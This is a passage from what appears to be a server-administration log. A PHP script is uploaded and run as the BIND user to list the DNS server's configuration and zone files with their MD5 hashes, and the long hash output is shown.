	addEntry($current);
}

2026-04-21 14:12:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp800308; rm /tmp/pkp800308'

2026-04-21 14:12:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:14:02: Establishing a connection
2026-04-21 14:14:02: 

PUT: /tmp/pkp611282

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:14:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp611282; rm /tmp/pkp611282'

2026-04-21 14:14:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
